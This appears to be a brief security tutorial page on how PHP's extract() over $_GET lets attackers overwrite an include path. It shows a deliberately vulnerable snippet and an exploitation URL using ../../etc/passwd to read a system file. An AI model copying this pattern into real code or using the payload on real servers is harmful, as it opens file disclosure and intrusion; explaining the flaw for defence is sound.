External Variable Modification: Poisoning File Inclusion
If extract() is combined with file inclusion, attackers can control file paths.
<?php
$page = "config.php";
extract($_GET);
include "$page";
?>Exploitation:
http://example.com/vuln.php?page=../../etc/passwd
Comments
No comments yet.